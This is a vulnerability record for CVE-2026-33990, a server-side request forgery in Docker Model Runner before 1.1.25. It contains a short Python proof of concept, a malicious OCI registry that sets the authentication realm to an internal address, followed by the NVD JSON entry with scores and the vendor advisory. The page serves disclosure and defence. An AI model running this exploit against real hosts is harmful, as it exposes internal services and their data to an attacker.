CVE-2026-33990

import http.server import socketserver # PoC for CVE-2026-33990: Malicious OCI Registry Simulation # This script simulates a registry that forces DMR to request an internal URL. PORT = 5555 INTERNAL_TARGET = "http://127.0.0.1:22/ssh-bait" # Example internal service class MaliciousHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): # Respond with 401 Unauthorized to trigger the token exchange flow # The 'realm' parameter contains the SSRF payload self.send_response(401) auth_header = f'Bearer realm="{INTERNAL_TARGET}",service="registry.docker.io",scope="repository:library/alpine:pull"' self.send_header('WWW-Authenticate', auth_header) self.end_headers() self.wfile.write(b"401 Unauthorized - Triggering SSRF via realm") with socketserver.TCPServer(("", PORT), MaliciousHandler) as httpd: print(f"Running malicious registry on port {PORT}") print(f"Attempting to force connection to: {INTERNAL_TARGET}") httpd.serve_forever()

{"cve": {"id": "CVE-2026-33990", "sourceIdentifier": "[email protected]", "published": "2026-04-01T17:28:39.823", "lastModified": "2026-04-14T20:08:23.340", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Docker Model Runner (DMR) is software used to manage, run, and deploy AI models using Docker. Prior to version 1.1.25, Docker Model Runner contains an SSRF vulnerability in its OCI registry token exchange flow. When pulling a model, Model Runner follows the realm URL from the registry's WWW-Authenticate header without validating the scheme, hostname, or IP range. A malicious OCI registry can set the realm to an internal URL (e.g., http://127.0.0.1:3000/), causing Model Runner running on the host to make arbitrary GET requests to internal services and reflect the full response body back to the caller. Additionally, the token exchange mechanism can relay data from internal services back to the attacker-controlled registry via the Authorization: Bearer header. This issue has been patched in version 1.1.25. For Docker Desktop users, enabling Enhanced Container Isolation (ECI) blocks container access to Model Runner, preventing exploitation. However, if the Docker Model Runner is exposed to localhost over TCP in specific configurations, the vulnerability is still exploitable."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:docker:model_runner:*:*:*:*:*:docker:*:*", "versionEndExcluding": "1.1.25", "matchCriteriaId": "A18A7EB7-D0E7-4269-BDCC-38AE227738BB"}]}]}], "references": [{"url": "https://github.com/docker/model-runner/security/advisories/GHSA-x2f5-332j-9xwq", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}